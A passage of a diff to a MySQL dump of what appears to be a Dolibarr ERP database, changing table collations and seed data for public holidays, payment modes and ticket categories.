(1,0,0,'NEWYEARDAY1','',1,1,0,1,NULL),(2,0,0,'LABORDAY1','',1,5,0,1,NULL),(3,0,0,'ASSOMPTIONDAY1','',15,8,0,1,NULL),(4,0,0,'CHRISTMASDAY1','',25,12,0,1,NULL),(5,0,1,'FR-VICTORYDAY','',8,5,0,1,NULL),(6,0,1,'FR-NATIONALDAY','',14,7,0,1,NULL),(7,0,1,'FR-ASSOMPTION','',15,8,0,1,NULL),(8,0,1,'FR-TOUSSAINT','',1,11,0,1,NULL),(9,0,1,'FR-ARMISTICE','',11,11,0,1,NULL),(10,0,1,'FR-EASTER','eastermonday',0,0,0,1,NULL),(11,0,1,'FR-ASCENSION','ascension',0,0,0,1,NULL),(12,0,1,'FR-PENTECOST','pentecost',0,0,0,1,NULL),(13,0,3,'IT-LIBEAZIONE','',25,4,0,1,NULL),(14,0,3,'IT-EPIPHANY','',1,6,0,1,NULL),(15,0,3,'IT-REPUBBLICA','',2,6,0,1,NULL),(16,0,3,'IT-TUTTISANTIT','',1,11,0,1,NULL),(17,0,3,'IT-IMMACULE','',8,12,0,1,NULL),(18,0,3,'IT-SAINTSTEFAN','',26,12,0,1,NULL),(19,0,4,'ES-EASTER','easter',0,0,0,1,NULL),(20,0,4,'ES-REYE','',1,6,0,1,NULL),(21,0,4,'ES-HISPANIDAD','',12,10,0,1,NULL),(22,0,4,'ES-TOUSSAINT','',1,11,0,1,NULL),(23,0,4,'ES-CONSTITUIZION','',6,12,0,1,NULL),(24,0,4,'ES-IMMACULE','',8,12,0,1,NULL),(25,0,41,'AT-EASTER','eastermonday',0,0,0,1,NULL),(26,0,41,'AT-ASCENSION','ascension',0,0,0,1,NULL),(27,0,41,'AT-PENTECOST','pentecost',0,0,0,1,NULL),(28,0,41,'AT-FRONLEICHNAM','fronleichnam',0,0,0,1,NULL),(29,0,41,'AT-KONEGIE','',1,6,0,1,NULL),(30,0,41,'AT-26OKT','',26,10,0,1,NULL),(31,0,41,'AT-TOUSSAINT','',1,11,0,1,NULL),(32,0,41,'AT-IMMACULE','',8,12,0,1,NULL),(33,0,41,'AT-24DEC','',24,12,0,1,NULL),(34,0,41,'AT-SAINTSTEFAN','',26,12,0,1,NULL),(35,0,41,'AT-Silvester','',31,12,0,1,NULL),(36,0,117,'IN-REPUBLICDAY','',26,1,0,1,NULL),(37,0,117,'IN-GANDI','',2,10,0,1,NULL); +INSERT INTO `llx_c_hrm_public_holiday` VALUES (1,0,0,'NEWYEARDAY1','',1,1,0,1,NULL),(2,0,0,'LABORDAY1','',1,5,0,1,NULL),(3,0,0,'ASSOMPTIONDAY1','',15,8,0,1,NULL),(4,0,0,'CHRISTMASDAY1','',25,12,0,1,NULL),(5,0,1,'FR-VICTORYDAY','',8,5,0,1,NULL),(6,0,1,'FR-NATIONALDAY','',14,7,0,1,NULL),(7,0,1,'FR-ASSOMPTION','',15,8,0,1,NULL),(8,0,1,'FR-TOUSSAINT','',1,11,0,1,NULL),(9,0,1,'FR-ARMISTICE','',11,11,0,1,NULL),(10,0,1,'FR-EASTER','eastermonday',0,0,0,1,NULL),(11,0,1,'FR-ASCENSION','ascension',0,0,0,1,NULL),(12,0,1,'FR-PENTECOST','pentecost',0,0,0,1,NULL),(13,0,3,'IT-LIBEAZIONE','',25,4,0,1,NULL),(14,0,3,'IT-EPIPHANY','',1,6,0,1,NULL),(15,0,3,'IT-REPUBBLICA','',2,6,0,1,NULL),(16,0,3,'IT-TUTTISANTIT','',1,11,0,1,NULL),(17,0,3,'IT-IMMACULE','',8,12,0,1,NULL),(18,0,3,'IT-SAINTSTEFAN','',26,12,0,1,NULL),(19,0,4,'ES-EASTER','easter',0,0,0,1,NULL),(20,0,4,'ES-REYE','',1,6,0,1,NULL),(21,0,4,'ES-HISPANIDAD','',12,10,0,1,NULL),(22,0,4,'ES-TOUSSAINT','',1,11,0,1,NULL),(23,0,4,'ES-CONSTITUIZION','',6,12,0,1,NULL),(24,0,4,'ES-IMMACULE','',8,12,0,1,NULL),(25,0,41,'AT-EASTER','eastermonday',0,0,0,1,NULL),(26,0,41,'AT-ASCENSION','ascension',0,0,0,1,NULL),(27,0,41,'AT-PENTECOST','pentecost',0,0,0,1,NULL),(28,0,41,'AT-FRONLEICHNAM','fronleichnam',0,0,0,1,NULL),(29,0,41,'AT-KONEGIE','',1,6,0,1,NULL),(30,0,41,'AT-26OKT','',26,10,0,1,NULL),(31,0,41,'AT-TOUSSAINT','',1,11,0,1,NULL),(32,0,41,'AT-IMMACULE','',8,12,0,1,NULL),(33,0,41,'AT-24DEC','',24,12,0,1,NULL),(34,0,41,'AT-SAINTSTEFAN','',26,12,0,1,NULL),(35,0,41,'AT-Silvester','',31,12,0,1,NULL),(36,0,117,'IN-REPUBLICDAY','',26,1,0,1,NULL),(37,0,117,'IN-GANDI','',2,10,0,1,NULL),(75,0,2,'BE-VICTORYDAY','',8,5,0,1,NULL),(76,0,2,'BE-NATIONALDAY','',21,7,0,1,NULL),(77,0,2,'BE-ASSOMPTION','',15,8,0,1,NULL),(78,0,2,'BE-TOUSSAINT','',1,11,0,1,NULL),(79,0,2,'BE-ARMISTICE','',11,11,0,1,NULL),(80,0,2,'BE-EASTER','eastermonday',0,0,0,1,NULL),(81,0,2,'BE-ASCENSION','ascension',0,0,0,1,NULL),(82,0,2,'BE-PENTECOST','pentecost',0,0,0,1,NULL); /*!40000 ALTER TABLE `llx_c_hrm_public_holiday` ENABLE KEYS */; UNLOCK TABLES; @@ -2422,10 +2077,10 @@ DROP TABLE IF EXISTS `llx_c_incoterms`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_incoterms` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(3) COLLATE utf8mb3_unicode_ci NOT NULL, - `libelle` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(3) NOT NULL, + `libelle` varchar(255) NOT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `label` varchar(100) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(100) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_incoterms` (`code`) ) ENGINE=InnoDB AUTO_INCREMENT=12 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -2450,10 +2105,10 @@ DROP TABLE IF EXISTS `llx_c_input_method`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_input_method` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `libelle` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(30) DEFAULT NULL, + `libelle` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_methode_commande_fournisseur` (`code`), UNIQUE KEY `uk_c_input_method` (`code`) @@ -2479,10 +2134,10 @@ DROP TABLE IF EXISTS `llx_c_input_reason`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_input_reason` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(30) NOT NULL, + `label` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_input_reason` (`code`) ) ENGINE=InnoDB AUTO_INCREMENT=12 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -2507,8 +2162,8 @@ DROP TABLE IF EXISTS `llx_c_lead_status`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_lead_status` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(10) DEFAULT NULL, + `label` varchar(128) DEFAULT NULL, `position` int(11) DEFAULT NULL, `percent` double(5,2) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, @@ -2537,12 +2192,12 @@ DROP TABLE IF EXISTS `llx_c_paiement`; CREATE TABLE `llx_c_paiement` ( `id` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `code` varchar(6) COLLATE utf8mb3_unicode_ci NOT NULL, - `libelle` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(6) NOT NULL, + `libelle` varchar(128) DEFAULT NULL, `type` smallint(6) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `accountancy_code` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `accountancy_code` varchar(32) DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, `position` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`id`), UNIQUE KEY `uk_c_paiement_code` (`entity`,`code`) @@ -2555,7 +2210,7 @@ CREATE TABLE `llx_c_paiement` ( LOCK TABLES `llx_c_paiement` WRITE; /*!40000 ALTER TABLE `llx_c_paiement` DISABLE KEYS */; -INSERT INTO `llx_c_paiement` VALUES (1,1,'TIP','TIP',2,0,NULL,NULL,0),(2,1,'VIR','Virement',2,1,NULL,NULL,0),(3,1,'PRE','Prélèvement',2,1,NULL,NULL,0),(4,1,'LIQ','Espèces',2,1,NULL,NULL,0),(6,1,'CB','Carte Bancaire',2,1,NULL,NULL,0),(7,1,'CHQ','Chèque',2,1,NULL,NULL,0),(50,1,'VAD','Paiement en ligne',2,0,NULL,NULL,0),(51,1,'TRA','Traite',2,0,NULL,NULL,0),(52,1,'LCR','LCR',2,0,NULL,NULL,0),(53,1,'FAC','Factor',2,0,NULL,NULL,0),(100,1,'KLA','Klarna',1,0,NULL,NULL,0),(101,1,'SOF','Sofort',1,0,NULL,NULL,0),(102,1,'BAN','Bancontact',1,0,NULL,NULL,0),(103,1,'IDE','iDeal',1,0,NULL,NULL,0),(104,1,'GIR','Giropay',1,0,NULL,NULL,0); +INSERT INTO `llx_c_paiement` VALUES (1,1,'TIP','TIP',2,0,NULL,NULL,0),(2,1,'VIR','Virement',2,1,NULL,NULL,0),(3,1,'PRE','Prélèvement',2,1,NULL,NULL,0),(4,1,'LIQ','Espèces',2,1,NULL,NULL,0),(6,1,'CB','Carte Bancaire',2,1,NULL,NULL,0),(7,1,'CHQ','Chèque',2,1,NULL,NULL,0),(50,1,'VAD','Paiement en ligne',2,0,NULL,NULL,0),(51,1,'TRA','Traite',2,1,NULL,NULL,0),(52,1,'LCR','LCR',2,0,NULL,NULL,0),(53,1,'FAC','Factor',2,0,NULL,NULL,0),(100,1,'KLA','Klarna',1,0,NULL,NULL,0),(101,1,'SOF','Sofort',1,0,NULL,NULL,0),(102,1,'BANCON','Bancontact',1,0,NULL,NULL,0),(103,1,'IDE','iDeal',1,0,NULL,NULL,0),(104,1,'GIR','Giropay',1,0,NULL,NULL,0); /*!40000 ALTER TABLE `llx_c_paiement` ENABLE KEYS */; UNLOCK TABLES; @@ -2568,13 +2223,13 @@ DROP TABLE IF EXISTS `llx_c_paper_format`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_paper_format` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(16) NOT NULL, + `label` varchar(128) DEFAULT NULL, `width` float(6,2) DEFAULT 0.00, `height` float(6,2) DEFAULT 0.00, - `unit` varchar(5) COLLATE utf8mb3_unicode_ci NOT NULL, + `unit` varchar(5) NOT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=226 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -2589,34 +2244,6 @@ INSERT INTO `llx_c_paper_format` VALUES (1,'EU4A0','Format 4A0',1682.00,2378.00, /*!40000 ALTER TABLE `llx_c_paper_format` ENABLE KEYS */; UNLOCK TABLES; --- --- Table structure for table `llx_c_partnership_type` --- - -DROP TABLE IF EXISTS `llx_c_partnership_type`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_c_partnership_type` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `entity` int(11) NOT NULL DEFAULT 1, - `code` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `active` tinyint(4) NOT NULL DEFAULT 1, - `keyword` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - PRIMARY KEY (`rowid`), - UNIQUE KEY `uk_c_partnership_type` (`entity`,`code`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_c_partnership_type` --- - -LOCK TABLES `llx_c_partnership_type` WRITE; -/*!40000 ALTER TABLE `llx_c_partnership_type` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_c_partnership_type` ENABLE KEYS */; -UNLOCK TABLES; - -- -- Table structure for table `llx_c_payment_term` -- @@ -2627,16 +2254,16 @@ DROP TABLE IF EXISTS `llx_c_payment_term`; CREATE TABLE `llx_c_payment_term` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `code` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(16) DEFAULT NULL, `sortorder` smallint(6) DEFAULT NULL, `active` tinyint(4) DEFAULT 1, - `libelle` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `libelle_facture` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `libelle` varchar(255) DEFAULT NULL, + `libelle_facture` text DEFAULT NULL, `type_cdr` tinyint(4) DEFAULT NULL, `nbjour` smallint(6) DEFAULT NULL, `decalage` smallint(6) DEFAULT NULL, - `deposit_percent` varchar(63) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `deposit_percent` varchar(63) DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, `position` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_payment_term_code` (`entity`,`code`) @@ -2662,8 +2289,8 @@ DROP TABLE IF EXISTS `llx_c_price_expression`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_price_expression` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `title` varchar(20) COLLATE utf8mb3_unicode_ci NOT NULL, - `expression` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `title` varchar(20) NOT NULL, + `expression` varchar(255) NOT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -2686,8 +2313,8 @@ DROP TABLE IF EXISTS `llx_c_price_global_variable`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_price_global_variable` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(20) COLLATE utf8mb3_unicode_ci NOT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(20) NOT NULL, + `description` text DEFAULT NULL, `value` double(24,8) DEFAULT 0.00000000, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -2712,12 +2339,12 @@ DROP TABLE IF EXISTS `llx_c_price_global_variable_updater`; CREATE TABLE `llx_c_price_global_variable_updater` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `type` int(11) NOT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `parameters` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` text DEFAULT NULL, + `parameters` text DEFAULT NULL, `fk_variable` int(11) NOT NULL, `update_interval` int(11) DEFAULT 0, `next_update` int(11) DEFAULT 0, - `last_status` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `last_status` text DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -2741,7 +2368,7 @@ DROP TABLE IF EXISTS `llx_c_product_nature`; CREATE TABLE `llx_c_product_nature` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `code` tinyint(4) NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_product_nature` (`code`) @@ -2768,8 +2395,8 @@ DROP TABLE IF EXISTS `llx_c_productbatch_qcstatus`; CREATE TABLE `llx_c_productbatch_qcstatus` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `code` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(16) NOT NULL, + `label` varchar(128) DEFAULT NULL, `active` int(11) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_productbatch_qcstatus` (`code`,`entity`) @@ -2795,8 +2422,8 @@ DROP TABLE IF EXISTS `llx_c_propalst`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_propalst` ( `id` smallint(6) NOT NULL, - `code` varchar(12) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(12) NOT NULL, + `label` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`id`), UNIQUE KEY `uk_c_propalst` (`code`) @@ -2821,11 +2448,11 @@ DROP TABLE IF EXISTS `llx_c_prospectcontactlevel`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_prospectcontactlevel` ( - `code` varchar(12) CHARACTER SET utf8mb4 NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(12) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, + `label` varchar(128) DEFAULT NULL, `sortorder` smallint(6) DEFAULT NULL, `active` smallint(6) NOT NULL DEFAULT 1, - `module` varchar(32) CHARACTER SET utf8mb4 DEFAULT NULL, + `module` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, PRIMARY KEY (`code`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -2848,11 +2475,11 @@ DROP TABLE IF EXISTS `llx_c_prospectlevel`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_prospectlevel` ( - `code` varchar(12) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(12) NOT NULL, + `label` varchar(128) DEFAULT NULL, `sortorder` smallint(6) DEFAULT NULL, `active` smallint(6) NOT NULL DEFAULT 1, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, PRIMARY KEY (`code`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -2876,8 +2503,8 @@ DROP TABLE IF EXISTS `llx_c_recruitment_origin`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_recruitment_origin` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(32) CHARACTER SET utf8mb4 NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, + `label` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -2903,9 +2530,9 @@ CREATE TABLE `llx_c_regions` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `code_region` int(11) NOT NULL, `fk_pays` int(11) NOT NULL, - `cheflieu` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `cheflieu` varchar(50) DEFAULT NULL, `tncc` int(11) DEFAULT NULL, - `nom` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `nom` varchar(50) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), UNIQUE KEY `code_region` (`code_region`), @@ -2935,11 +2562,11 @@ CREATE TABLE `llx_c_revenuestamp` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_pays` int(11) NOT NULL, `taux` double NOT NULL, - `note` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `accountancy_code_sell` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_buy` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `revenuestamp_type` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT 'fixed', + `accountancy_code_sell` varchar(32) DEFAULT NULL, + `accountancy_code_buy` varchar(32) DEFAULT NULL, + `revenuestamp_type` varchar(16) NOT NULL DEFAULT 'fixed', PRIMARY KEY (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=102 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -2964,12 +2591,12 @@ DROP TABLE IF EXISTS `llx_c_shipment_mode`; CREATE TABLE `llx_c_shipment_mode` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `code` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, - `libelle` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `tracking` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(30) NOT NULL, + `libelle` varchar(128) DEFAULT NULL, + `description` text DEFAULT NULL, + `tracking` varchar(255) DEFAULT NULL, `active` tinyint(4) DEFAULT 0, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_shipment_mode` (`code`,`entity`) @@ -2995,8 +2622,8 @@ DROP TABLE IF EXISTS `llx_c_shipment_package_type`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_shipment_package_type` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(128) DEFAULT NULL, + `description` varchar(255) DEFAULT NULL, `active` int(11) NOT NULL DEFAULT 1, `entity` int(11) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`) @@ -3022,10 +2649,10 @@ DROP TABLE IF EXISTS `llx_c_socialnetworks`; CREATE TABLE `llx_c_socialnetworks` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `code` varchar(100) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(150) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `url` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `icon` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(100) DEFAULT NULL, + `label` varchar(150) DEFAULT NULL, + `url` text DEFAULT NULL, + `icon` varchar(20) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), UNIQUE KEY `idx_c_socialnetworks_code` (`code`) @@ -3051,10 +2678,10 @@ DROP TABLE IF EXISTS `llx_c_stcomm`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_stcomm` ( `id` int(11) NOT NULL, - `code` varchar(24) COLLATE utf8mb3_unicode_ci NOT NULL, - `libelle` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(24) NOT NULL, + `libelle` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `picto` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `picto` varchar(128) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `uk_c_stcomm` (`code`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -3079,9 +2706,9 @@ DROP TABLE IF EXISTS `llx_c_stcommcontact`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_stcommcontact` ( `id` int(11) NOT NULL, - `code` varchar(12) CHARACTER SET utf8mb4 NOT NULL, - `libelle` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `picto` varchar(128) CHARACTER SET utf8mb4 DEFAULT NULL, + `code` varchar(12) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, + `libelle` varchar(128) DEFAULT NULL, + `picto` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`id`), UNIQUE KEY `uk_c_stcommcontact` (`code`) @@ -3108,18 +2735,18 @@ DROP TABLE IF EXISTS `llx_c_ticket_category`; CREATE TABLE `llx_c_ticket_category` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) DEFAULT 1, - `code` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(32) NOT NULL, `pos` int(11) NOT NULL DEFAULT 0, - `label` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, + `label` varchar(128) NOT NULL, `active` int(11) DEFAULT 1, `use_default` int(11) DEFAULT 1, - `description` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` varchar(255) DEFAULT NULL, `fk_parent` int(11) NOT NULL DEFAULT 0, - `force_severity` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `force_severity` varchar(32) DEFAULT NULL, `public` int(11) DEFAULT 0, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_code` (`code`,`entity`) -) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -3128,7 +2755,7 @@ CREATE TABLE `llx_c_ticket_category` ( LOCK TABLES `llx_c_ticket_category` WRITE; /*!40000 ALTER TABLE `llx_c_ticket_category` DISABLE KEYS */; -INSERT INTO `llx_c_ticket_category` VALUES (1,1,'OTHER',10,'Other',1,1,NULL,0,NULL,0); +INSERT INTO `llx_c_ticket_category` VALUES (1,1,'OTHER',10,'Other',1,1,NULL,0,NULL,0),(2,1,'PUBGRP',2,'Public group of ticket 1',1,0,NULL,0,NULL,1); /*!40000 ALTER TABLE `llx_c_ticket_category` ENABLE KEYS */; UNLOCK TABLES; @@ -3142,12 +2769,12 @@ DROP TABLE IF EXISTS `llx_c_ticket_resolution`; CREATE TABLE `llx_c_ticket_resolution` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) DEFAULT 1, - `code` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `pos` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(32) NOT NULL, + `pos` varchar(32) NOT NULL, + `label` varchar(128) NOT NULL, `active` int(11) DEFAULT 1, `use_default` int(11) DEFAULT 1, - `description` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_code` (`code`,`entity`) ) ENGINE=InnoDB AUTO_INCREMENT=19 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -3173,13 +2800,13 @@ DROP TABLE IF EXISTS 